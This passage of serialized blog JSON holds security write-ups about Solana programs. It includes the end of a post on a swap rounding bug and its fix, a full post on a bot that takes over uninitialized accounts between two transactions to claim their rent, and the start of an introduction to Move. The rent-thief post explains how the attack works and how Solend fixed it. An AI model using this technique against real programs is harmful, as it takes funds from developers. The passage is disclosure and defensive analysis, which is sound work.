     if y == y_prev {\n+        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+        if y_new == y {\n             break;\n+        } else {\n+            y = y_new;\n         }\n",[4693],{"type":23,"tag":37,"props":4694,"children":4695},{"__ignoreMap":7},[4696,4704,4734,4761,4789,4813,4889,4993,5020,5115,5218,5245,5257,5276,5299],{"type":23,"tag":41,"props":4697,"children":4698},{"class":43,"line":44},[4699],{"type":23,"tag":41,"props":4700,"children":4701},{"style":48},[4702],{"type":28,"value":4703},"     // Solve for y by approximating: y**2 + b*y = c\n",{"type":23,"tag":41,"props":4705,"children":4706},{"class":43,"line":54},[4707,4712,4716,4721,4725,4730],{"type":23,"tag":41,"props":4708,"children":4709},{"style":64},[4710],{"type":28,"value":4711},"     let",{"type":23,"tag":41,"props":4713,"children":4714},{"style":64},[4715],{"type":28,"value":3007},{"type":23,"tag":41,"props":4717,"children":4718},{"style":858},[4719],{"type":28,"value":4720}," y_prev",{"type":23,"tag":41,"props":4722,"children":4723},{"style":170},[4724],{"type":28,"value":1474},{"type":23,"tag":41,"props":4726,"children":4727},{"style":94},[4728],{"type":28,"value":4729}," U256",{"type":23,"tag":41,"props":4731,"children":4732},{"style":70},[4733],{"type":28,"value":183},{"type":23,"tag":41,"props":4735,"children":4736},{"class":43,"line":76},[4737,4741,4745,4749,4753,4757],{"type":23,"tag":41,"props":4738,"children":4739},{"style":64},[4740],{"type":28,"value":4711},{"type":23,"tag":41,"props":4742,"children":4743},{"style":64},[4744],{"type":28,"value":3007},{"type":23,"tag":41,"props":4746,"children":4747},{"style":858},[4748],{"type":28,"value":3012},{"type":23,"tag":41,"props":4750,"children":4751},{"style":170},[4752],{"type":28,"value":3017},{"type":23,"tag":41,"props":4754,"children":4755},{"style":858},[4756],{"type":28,"value":3022},{"type":23,"tag":41,"props":4758,"children":4759},{"style":70},[4760],{"type":28,"value":183},{"type":23,"tag":41,"props":4762,"children":4763},{"class":43,"line":85},[4764,4769,4773,4777,4781,4785],{"type":23,"tag":41,"props":4765,"children":4766},{"style":58},[4767],{"type":28,"value":4768},"     for",{"type":23,"tag":41,"props":4770,"children":4771},{"style":858},[4772],{"type":28,"value":3039},{"type":23,"tag":41,"props":4774,"children":4775},{"style":64},[4776],{"type":28,"value":3044},{"type":23,"tag":41,"props":4778,"children":4779},{"style":164},[4780],{"type":28,"value":392},{"type":23,"tag":41,"props":4782,"children":4783},{"style":170},[4784],{"type":28,"value":3053},{"type":23,"tag":41,"props":4786,"children":4787},{"style":70},[4788],{"type":28,"value":3058},{"type":23,"tag":41,"props":4790,"children":4791},{"class":43,"line":105},[4792,4796,4801,4805,4809],{"type":23,"tag":41,"props":4793,"children":4794},{"style":170},[4795],{"type":28,"value":4329},{"type":23,"tag":41,"props":4797,"children":4798},{"style":858},[4799],{"type":28,"value":4800},"        y_prev",{"type":23,"tag":41,"props":4802,"children":4803},{"style":170},[4804],{"type":28,"value":3017},{"type":23,"tag":41,"props":4806,"children":4807},{"style":858},[4808],{"type":28,"value":3012},{"type":23,"tag":41,"props":4810,"children":4811},{"style":70},[4812],{"type":28,"value":183},{"type":23,"tag":41,"props":4814,"children":4815},{"class":43,"line":155},[4816,4820,4825,4829,4833,4837,4841,4845,4849,4853,4857,4861,4865,4869,4873,4877,4881,4885],{"type":23,"tag":41,"props":4817,"children":4818},{"style":170},[4819],{"type":28,"value":4329},{"type":23,"tag":41,"props":4821,"children":4822},{"style":858},[4823],{"type":28,"value":4824},"        y",{"type":23,"tag":41,"props":4826,"children":4827},{"style":170},[4828],{"type":28,"value":3017},{"type":23,"tag":41,"props":4830,"children":4831},{"style":70},[4832],{"type":28,"value":142},{"type":23,"tag":41,"props":4834,"children":4835},{"style":114},[4836],{"type":28,"value":3101},{"type":23,"tag":41,"props":4838,"children":4839},{"style":70},[4840],{"type":28,"value":1737},{"type":23,"tag":41,"props":4842,"children":4843},{"style":170},[4844],{"type":28,"value":855},{"type":23,"tag":41,"props":4846,"children":4847},{"style":858},[4848],{"type":28,"value":3114},{"type":23,"tag":41,"props":4850,"children":4851},{"style":70},[4852],{"type":28,"value":970},{"type":23,"tag":41,"props":4854,"children":4855},{"style":164},[4856],{"type":28,"value":3123},{"type":23,"tag":41,"props":4858,"children":4859},{"style":70},[4860],{"type":28,"value":2678},{"type":23,"tag":41,"props":4862,"children":4863},{"style":170},[4864],{"type":28,"value":3132},{"type":23,"tag":41,"props":4866,"children":4867},{"style":114},[4868],{"type":28,"value":3137},{"type":23,"tag":41,"props":4870,"children":4871},{"style":70},[4872],{"type":28,"value":1737},{"type":23,"tag":41,"props":4874,"children":4875},{"style":858},[4876],{"type":28,"value":3146},{"type":23,"tag":41,"props":4878,"children":4879},{"style":70},[4880],{"type":28,"value":2678},{"type":23,"tag":41,"props":4882,"children":4883},{"style":170},[4884],{"type":28,"value":3155},{"type":23,"tag":41,"props":4886,"children":4887},{"style":70},[4888],{"type":28,"value":1969},{"type":23,"tag":41,"props":4890,"children":4891},{"class":43,"line":186},[4892,4896,4900,4905,4909,4913,4917,4921,4925,4929,4933,4937,4941,4945,4949,4953,4957,4961,4965,4969,4973,4977,4981,4985,4989],{"type":23,"tag":41,"props":4893,"children":4894},{"style":170},[4895],{"type":28,"value":4329},{"type":23,"tag":41,"props":4897,"children":4898},{"style":170},[4899],{"type":28,"value":3167},{"type":23,"tag":41,"props":4901,"children":4902},{"style":114},[4903],{"type":28,"value":4904},"checked_div",{"type":23,"tag":41,"props":4906,"children":4907},{"style":70},[4908],{"type":28,"value":1737},{"type":23,"tag":41,"props":4910,"children":4911},{"style":114},[4912],{"type":28,"value":3181},{"type":23,"tag":41,"props":4914,"children":4915},{"style":70},[4916],{"type":28,"value":1737},{"type":23,"tag":41,"props":4918,"children":4919},{"style":170},[4920],{"type":28,"value":855},{"type":23,"tag":41,"props":4922,"children":4923},{"style":858},[4924],{"type":28,"value":3114},{"type":23,"tag":41,"props":4926,"children":4927},{"style":70},[4928],{"type":28,"value":970},{"type":23,"tag":41,"props":4930,"children":4931},{"style":164},[4932],{"type":28,"value":3123},{"type":23,"tag":41,"props":4934,"children":4935},{"style":70},[4936],{"type":28,"value":2678},{"type":23,"tag":41,"props":4938,"children":4939},{"style":170},[4940],{"type":28,"value":3132},{"type":23,"tag":41,"props":4942,"children":4943},{"style":114},[4944],{"type":28,"value":3137},{"type":23,"tag":41,"props":4946,"children":4947},{"style":70},[4948],{"type":28,"value":1737},{"type":23,"tag":41,"props":4950,"children":4951},{"style":858},[4952],{"type":28,"value":3222},{"type":23,"tag":41,"props":4954,"children":4955},{"style":70},[4956],{"type":28,"value":2678},{"type":23,"tag":41,"props":4958,"children":4959},{"style":170},[4960],{"type":28,"value":3132},{"type":23,"tag":41,"props":4962,"children":4963},{"style":114},[4964],{"type":28,"value":3235},{"type":23,"tag":41,"props":4966,"children":4967},{"style":70},[4968],{"type":28,"value":1737},{"type":23,"tag":41,"props":4970,"children":4971},{"style":858},[4972],{"type":28,"value":3244},{"type":23,"tag":41,"props":4974,"children":4975},{"style":70},[4976],{"type":28,"value":2678},{"type":23,"tag":41,"props":4978,"children":4979},{"style":170},[4980],{"type":28,"value":3155},{"type":23,"tag":41,"props":4982,"children":4983},{"style":70},[4984],{"type":28,"value":2678},{"type":23,"tag":41,"props":4986,"children":4987},{"style":170},[4988],{"type":28,"value":3155},{"type":23,"tag":41,"props":4990,"children":4991},{"style":70},[4992],{"type":28,"value":183},{"type":23,"tag":41,"props":4994,"children":4995},{"class":43,"line":195},[4996,5000,5004,5008,5012,5016],{"type":23,"tag":41,"props":4997,"children":4998},{"style":170},[4999],{"type":28,"value":4329},{"type":23,"tag":41,"props":5001,"children":5002},{"style":58},[5003],{"type":28,"value":3272},{"type":23,"tag":41,"props":5005,"children":5006},{"style":858},[5007],{"type":28,"value":3012},{"type":23,"tag":41,"props":5009,"children":5010},{"style":170},[5011],{"type":28,"value":3282},{"type":23,"tag":41,"props":5013,"children":5014},{"style":858},[5015],{"type":28,"value":4720},{"type":23,"tag":41,"props":5017,"children":5018},{"style":70},[5019],{"type":28,"value":102},{"type":23,"tag":41,"props":5021,"children":5022},{"class":43,"line":905},[5023,5027,5031,5035,5039,5043,5047,5051,5055,5059,5063,5067,5071,5075,5079,5083,5087,5091,5095,5099,5103,5107,5111],{"type":23,"tag":41,"props":5024,"children":5025},{"style":170},[5026],{"type":28,"value":4383},{"type":23,"tag":41,"props":5028,"children":5029},{"style":64},[5030],{"type":28,"value":3066},{"type":23,"tag":41,"props":5032,"children":5033},{"style":70},[5034],{"type":28,"value":142},{"type":23,"tag":41,"props":5036,"children":5037},{"style":858},[5038],{"type":28,"value":3075},{"type":23,"tag":41,"props":5040,"children":5041},{"style":70},[5042],{"type":28,"value":970},{"type":23,"tag":41,"props":5044,"children":5045},{"style":858},[5046],{"type":28,"value":3084},{"type":23,"tag":41,"props":5048,"children":5049},{"style":70},[5050],{"type":28,"value":866},{"type":23,"tag":41,"props":5052,"children":5053},{"style":170},[5054],{"type":28,"value":2381},{"type":23,"tag":41,"props":5056,"children":5057},{"style":70},[5058],{"type":28,"value":142},{"type":23,"tag":41,"props":5060,"children":5061},{"style":114},[5062],{"type":28,"value":3101},{"type":23,"tag":41,"props":5064,"children":5065},{"style":70},[5066],{"type":28,"value":1737},{"type":23,"tag":41,"props":5068,"children":5069},{"style":170},[5070],{"type":28,"value":855},{"type":23,"tag":41,"props":5072,"children":5073},{"style":858},[5074],{"type":28,"value":3114},{"type":23,"tag":41,"props":5076,"children":5077},{"style":70},[5078],{"type":28,"value":970},{"type":23,"tag":41,"props":5080,"children":5081},{"style":164},[5082],{"type":28,"value":3123},{"type":23,"tag":41,"props":5084,"children":5085},{"style":70},[5086],{"type":28,"value":2678},{"type":23,"tag":41,"props":5088,"children":5089},{"style":170},[5090],{"type":28,"value":3132},{"type":23,"tag":41,"props":5092,"children":5093},{"style":114},[5094],{"type":28,"value":3137},{"type":23,"tag":41,"props":5096,"children":5097},{"style":70},[5098],{"type":28,"value":1737},{"type":23,"tag":41,"props":5100,"children":5101},{"style":858},[5102],{"type":28,"value":3146},{"type":23,"tag":41,"props":5104,"children":5105},{"style":70},[5106],{"type":28,"value":2678},{"type":23,"tag":41,"props":5108,"children":5109},{"style":170},[5110],{"type":28,"value":3155},{"type":23,"tag":41,"props":5112,"children":5113},{"style":70},[5114],{"type":28,"value":1969},{"type":23,"tag":41,"props":5116,"children":5117},{"class":43,"line":922},[5118,5122,5126,5130,5134,5138,5142,5146,5150,5154,5158,5162,5166,5170,5174,5178,5182,5186,5190,5194,5198,5202,5206,5210,5214],{"type":23,"tag":41,"props":5119,"children":5120},{"style":170},[5121],{"type":28,"value":4383},{"type":23,"tag":41,"props":5123,"children":5124},{"style":170},[5125],{"type":28,"value":3167},{"type":23,"tag":41,"props":5127,"children":5128},{"style":114},[5129],{"type":28,"value":3172},{"type":23,"tag":41,"props":5131,"children":5132},{"style":70},[5133],{"type":28,"value":1737},{"type":23,"tag":41,"props":5135,"children":5136},{"style":114},[5137],{"type":28,"value":3181},{"type":23,"tag":41,"props":5139,"children":5140},{"style":70},[5141],{"type":28,"value":1737},{"type":23,"tag":41,"props":5143,"children":5144},{"style":170},[5145],{"type":28,"value":855},{"type":23,"tag":41,"props":5147,"children":5148},{"style":858},[5149],{"type":28,"value":3114},{"type":23,"tag":41,"props":5151,"children":5152},{"style":70},[5153],{"type":28,"value":970},{"type":23,"tag":41,"props":5155,"children":5156},{"style":164},[5157],{"type":28,"value":3123},{"type":23,"tag":41,"props":5159,"children":5160},{"style":70},[5161],{"type":28,"value":2678},{"type":23,"tag":41,"props":5163,"children":5164},{"style":170},[5165],{"type":28,"value":3132},{"type":23,"tag":41,"props":5167,"children":5168},{"style":114},[5169],{"type":28,"value":3137},{"type":23,"tag":41,"props":5171,"children":5172},{"style":70},[5173],{"type":28,"value":1737},{"type":23,"tag":41,"props":5175,"children":5176},{"style":858},[5177],{"type":28,"value":3222},{"type":23,"tag":41,"props":5179,"children":5180},{"style":70},[5181],{"type":28,"value":2678},{"type":23,"tag":41,"props":5183,"children":5184},{"style":170},[5185],{"type":28,"value":3132},{"type":23,"tag":41,"props":5187,"children":5188},{"style":114},[5189],{"type":28,"value":3235},{"type":23,"tag":41,"props":5191,"children":5192},{"style":70},[5193],{"type":28,"value":1737},{"type":23,"tag":41,"props":5195,"children":5196},{"style":858},[5197],{"type":28,"value":3244},{"type":23,"tag":41,"props":5199,"children":5200},{"style":70},[5201],{"type":28,"value":2678},{"type":23,"tag":41,"props":5203,"children":5204},{"style":170},[5205],{"type":28,"value":3155},{"type":23,"tag":41,"props":5207,"children":5208},{"style":70},[5209],{"type":28,"value":2678},{"type":23,"tag":41,"props":5211,"children":5212},{"style":170},[5213],{"type":28,"value":3155},{"type":23,"tag":41,"props":5215,"children":5216},{"style":70},[5217],{"type":28,"value":183},{"type":23,"tag":41,"props":5219,"children":5220},{"class":43,"line":930},[5221,5225,5229,5233,5237,5241],{"type":23,"tag":41,"props":5222,"children":5223},{"style":170},[5224],{"type":28,"value":4383},{"type":23,"tag":41,"props":5226,"children":5227},{"style":58},[5228],{"type":28,"value":3272},{"type":23,"tag":41,"props":5230,"children":5231},{"style":858},[5232],{"type":28,"value":3277},{"type":23,"tag":41,"props":5234,"children":5235},{"style":170},[5236],{"type":28,"value":3282},{"type":23,"tag":41,"props":5238,"children":5239},{"style":858},[5240],{"type":28,"value":3012},{"type":23,"tag":41,"props":5242,"children":5243},{"style":70},[5244],{"type":28,"value":102},{"type":23,"tag":41,"props":5246,"children":5247},{"class":43,"line":939},[5248,5253],{"type":23,"tag":41,"props":5249,"children":5250},{"style":58},[5251],{"type":28,"value":5252},"             break",{"type":23,"tag":41,"props":5254,"children":5255},{"style":70},[5256],{"type":28,"value":183},{"type":23,"tag":41,"props":5258,"children":5259},{"class":43,"line":947},[5260,5264,5268,5272],{"type":23,"tag":41,"props":5261,"children":5262},{"style":170},[5263],{"type":28,"value":4383},{"type":23,"tag":41,"props":5265,"children":5266},{"style":70},[5267],{"type":28,"value":3310},{"type":23,"tag":41,"props":5269,"children":5270},{"style":58},[5271],{"type":28,"value":3315},{"type":23,"tag":41,"props":5273,"children":5274},{"style":70},[5275],{"type":28,"value":102},{"type":23,"tag":41,"props":5277,"children":5278},{"class":43,"line":985},[5279,5283,5287,5291,5295],{"type":23,"tag":41,"props":5280,"children":5281},{"style":170},[5282],{"type":28,"value":4383},{"type":23,"tag":41,"props":5284,"children":5285},{"style":858},[5286],{"type":28,"value":3327},{"type":23,"tag":41,"props":5288,"children":5289},{"style":170},[5290],{"type":28,"value":3017},{"type":23,"tag":41,"props":5292,"children":5293},{"style":858},[5294],{"type":28,"value":3277},{"type":23,"tag":41,"props":5296,"children":5297},{"style":70},[5298],{"type":28,"value":183},{"type":23,"tag":41,"props":5300,"children":5301},{"class":43,"line":1058},[5302],{"type":23,"tag":41,"props":5303,"children":5304},{"style":70},[5305],{"type":28,"value":5306},"         }\n",{"type":23,"tag":446,"props":5308,"children":5310},{"id":5309},"closing-thoughts",[5311],{"type":28,"value":5312},"Closing Thoughts",{"type":23,"tag":24,"props":5314,"children":5315},{},[5316],{"type":28,"value":5317},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":23,"tag":24,"props":5319,"children":5320},{},[5321,5323,5328],{"type":28,"value":5322},"Another interesting takeaway is that ",{"type":23,"tag":510,"props":5324,"children":5325},{},[5326],{"type":28,"value":5327},"fuzzing can give a false sense of security",{"type":28,"value":5329},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":23,"tag":24,"props":5331,"children":5332},{},[5333,5335,5342],{"type":28,"value":5334},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":23,"tag":458,"props":5336,"children":5339},{"href":5337,"rel":5338},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[462],[5340],{"type":28,"value":5341},"port-mortem of the NSS overflow",{"type":28,"value":706},{"type":23,"tag":24,"props":5344,"children":5345},{},[5346],{"type":23,"tag":3918,"props":5347,"children":5349},{"alt":7,"src":5348},"/posts/spl-swap/p0.png",[],{"type":23,"tag":24,"props":5351,"children":5352},{},[5353],{"type":28,"value":5354},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":23,"tag":24,"props":5356,"children":5357},{},[5358],{"type":28,"value":5359},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":23,"tag":24,"props":5361,"children":5362},{},[5363],{"type":28,"value":5364},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":23,"tag":2843,"props":5366,"children":5367},{},[5368],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":5370},[5371,5372,5373,5374],{"id":2920,"depth":54,"text":2923},{"id":3924,"depth":54,"text":3927},{"id":4229,"depth":54,"text":4232},{"id":5309,"depth":54,"text":5312},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":5379,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":5380,"description":5381,"image":5382,"date":5386,"isFeatured":18,"onBlogPage":18,"tags":5387,"body":5388,"_type":2864,"_id":5713,"_source":2866,"_file":5714,"_stem":5715,"_extension":2869},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":5383,"width":5384,"height":5385},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[2881,2882],{"type":20,"children":5389,"toc":5706},[5390,5395,5401,5406,5411,5416,5422,5435,5483,5514,5523,5528,5533,5538,5544,5557,5573,5578,5583,5598,5602,5607,5622,5629,5634,5644,5651,5655,5660,5666,5671,5676,5681,5687,5692],{"type":23,"tag":24,"props":5391,"children":5392},{},[5393],{"type":28,"value":5394},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":23,"tag":446,"props":5396,"children":5398},{"id":5397},"background",[5399],{"type":28,"value":5400},"Background",{"type":23,"tag":24,"props":5402,"children":5403},{},[5404],{"type":28,"value":5405},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":23,"tag":24,"props":5407,"children":5408},{},[5409],{"type":28,"value":5410},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":23,"tag":24,"props":5412,"children":5413},{},[5414],{"type":28,"value":5415},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":23,"tag":446,"props":5417,"children":5419},{"id":5418},"the-exploit",[5420],{"type":28,"value":5421},"The Exploit",{"type":23,"tag":24,"props":5423,"children":5424},{},[5425,5427,5433],{"type":28,"value":5426},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":23,"tag":37,"props":5428,"children":5430},{"className":5429},[],[5431],{"type":28,"value":5432},"init_reserve",{"type":28,"value":5434}," function, which creates 6 new accounts to store data about the reserve:",{"type":23,"tag":5436,"props":5437,"children":5438},"ol",{},[5439,5444,5449,5454,5465,5470],{"type":23,"tag":421,"props":5440,"children":5441},{},[5442],{"type":28,"value":5443},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":23,"tag":421,"props":5445,"children":5446},{},[5447],{"type":28,"value":5448},"reserve liquidity token account - holds deposited tokens",{"type":23,"tag":421,"props":5450,"children":5451},{},[5452],{"type":28,"value":5453},"fee receiver token account - account which will receive origination fees on borrows",{"type":23,"tag":421,"props":5455,"children":5456},{},[5457,5459],{"type":28,"value":5458},"reserve collateral mint account - deposit receipt token, also known as ",{"type":23,"tag":37,"props":5460,"children":5462},{"className":5461},[],[5463],{"type":28,"value":5464},"cTokens",{"type":23,"tag":421,"props":5466,"children":5467},{},[5468],{"type":28,"value":5469},"reserve collateral token account - holds users' collateral tokens",{"type":23,"tag":421,"props":5471,"children":5472},{},[5473,5475,5481],{"type":28,"value":5474},"creator collateral token account - creator's ",{"type":23,"tag":37,"props":5476,"children":5478},{"className":5477},[],[5479],{"type":28,"value":5480},"cToken",{"type":28,"value":5482}," account",{"type":23,"tag":24,"props":5484,"children":5485},{},[5486,5488,5493,5495,5500,5502,5507,5509],{"type":28,"value":5487},"Account creation and initialization are ",{"type":23,"tag":2913,"props":5489,"children":5490},{},[5491],{"type":28,"value":5492},"usually",{"type":28,"value":5494}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":23,"tag":37,"props":5496,"children":5498},{"className":5497},[],[5499],{"type":28,"value":5432},{"type":28,"value":5501}," is ",{"type":23,"tag":2913,"props":5503,"children":5504},{},[5505],{"type":28,"value":5506},"supposed",{"type":28,"value":5508}," to look like:\n",{"type":23,"tag":3918,"props":5510,"children":5513},{"src":5511,"alt":5512},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":23,"tag":24,"props":5515,"children":5516},{},[5517,5519],{"type":28,"value":5518},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":23,"tag":3918,"props":5520,"children":5522},{"src":5521,"alt":5512},"/posts/rent-thief/attacktransac.png",[],{"type":23,"tag":24,"props":5524,"children":5525},{},[5526],{"type":28,"value":5527},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":23,"tag":24,"props":5529,"children":5530},{},[5531],{"type":28,"value":5532},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":23,"tag":24,"props":5534,"children":5535},{},[5536],{"type":28,"value":5537},"Despite this lost cost, this is pretty annoying...",{"type":23,"tag":446,"props":5539,"children":5541},{"id":5540},"example",[5542],{"type":28,"value":5543},"Example",{"type":23,"tag":24,"props":5545,"children":5546},{},[5547,5549,5556],{"type":28,"value":5548},"Let's take a look at ",{"type":23,"tag":458,"props":5550,"children":5553},{"href":5551,"rel":5552},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[462],[5554],{"type":28,"value":5555},"a real attack",{"type":28,"value":706},{"type":23,"tag":24,"props":5558,"children":5559},{},[5560,5567,5569],{"type":23,"tag":458,"props":5561,"children":5564},{"href":5562,"rel":5563},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[462],[5565],{"type":28,"value":5566},"Transaction 1",{"type":28,"value":5568},":\n",{"type":23,"tag":3918,"props":5570,"children":5572},{"alt":7,"src":5571},"https://i.imgur.com/xJvIwgc.png",[],{"type":23,"tag":24,"props":5574,"children":5575},{},[5576],{"type":28,"value":5577},"(...more accounts truncated)",{"type":23,"tag":24,"props":5579,"children":5580},{},[5581],{"type":28,"value":5582},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":23,"tag":24,"props":5584,"children":5585},{},[5586,5593,5594],{"type":23,"tag":458,"props":5587,"children":5590},{"href":5588,"rel":5589},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[462],[5591],{"type":28,"value":5592},"Attacker's Transaction",{"type":28,"value":5568},{"type":23,"tag":3918,"props":5595,"children":5597},{"alt":7,"src":5596},"https://i.imgur.com/CpSKuL3.png",[],{"type":23,"tag":24,"props":5599,"children":5600},{},[5601],{"type":28,"value":5577},{"type":23,"tag":24,"props":5603,"children":5604},{},[5605],{"type":28,"value":5606},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":23,"tag":24,"props":5608,"children":5609},{},[5610,5617,5618],{"type":23,"tag":458,"props":5611,"children":5614},{"href":5612,"rel":5613},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[462],[5615],{"type":28,"value":5616},"Transaction 2",{"type":28,"value":5568},{"type":23,"tag":3918,"props":5619,"children":5621},{"alt":7,"src":5620},"https://i.imgur.com/of0GIdw.png",[],{"type":23,"tag":24,"props":5623,"children":5624},{},[5625],{"type":23,"tag":3918,"props":5626,"children":5628},{"alt":7,"src":5627},"https://i.imgur.com/0STSyv8.png",[],{"type":23,"tag":24,"props":5630,"children":5631},{},[5632],{"type":28,"value":5633},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":23,"tag":24,"props":5635,"children":5636},{},[5637,5643],{"type":23,"tag":458,"props":5638,"children":5641},{"href":5639,"rel":5640},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[462],[5642],{"type":28,"value":5592},{"type":28,"value":1474},{"type":23,"tag":24,"props":5645,"children":5646},{},[5647],{"type":23,"tag":3918,"props":5648,"children":5650},{"alt":7,"src":5649},"https://i.imgur.com/AmSPdmy.png",[],{"type":23,"tag":24,"props":5652,"children":5653},{},[5654],{"type":28,"value":5577},{"type":23,"tag":24,"props":5656,"children":5657},{},[5658],{"type":28,"value":5659},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":23,"tag":446,"props":5661,"children":5663},{"id":5662},"impact",[5664],{"type":28,"value":5665},"Impact",{"type":23,"tag":24,"props":5667,"children":5668},{},[5669],{"type":28,"value":5670},"Rent-thieving attacks don't steal much money.",{"type":23,"tag":24,"props":5672,"children":5673},{},[5674],{"type":28,"value":5675},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":23,"tag":24,"props":5677,"children":5678},{},[5679],{"type":28,"value":5680},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":23,"tag":446,"props":5682,"children":5684},{"id":5683},"solution",[5685],{"type":28,"value":5686},"Solution",{"type":23,"tag":24,"props":5688,"children":5689},{},[5690],{"type":28,"value":5691},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":23,"tag":24,"props":5693,"children":5694},{},[5695,5697,5704],{"type":28,"value":5696},"As a more permenant solution, Solend implemented ",{"type":23,"tag":458,"props":5698,"children":5701},{"href":5699,"rel":5700},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[462],[5702],{"type":28,"value":5703},"an onchain program",{"type":28,"value":5705}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":54,"depth":54,"links":5707},[5708,5709,5710,5711,5712],{"id":5397,"depth":54,"text":5400},{"id":5418,"depth":54,"text":5421},{"id":5540,"depth":54,"text":5543},{"id":5662,"depth":54,"text":5665},{"id":5683,"depth":54,"text":5686},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":5717,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":5718,"description":5719,"author":5720,"image":5721,"date":5725,"isFeatured":18,"onBlogPage":18,"body":5726,"_type":2864,"_id":9254,"_source":2866,"_file":9255,"_stem":9256,"_extension":2869},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":5722,"height":5723,"width":5724},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":20,"children":5727,"toc":9249},[5728,5733,5738,5757,5763,5775,5873,5881,5998,6006,6028,6181,6186,6444,6466,6501,6506,6526,6531,6542,6554,6766,6778,6792,6805,7062,7074,7296,7301,7329,7475,7494,7499,7764,7776,7781,7794,7800,7805,7810,7822,7836,7841,7939,7951,7964,8238,8243,8255,8260,8314,8334,8339,9218,9222,9227,9232,9245],{"type":23,"tag":24,"props":5729,"children":5730},{},[5731],{"type":28,"value":5732},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to 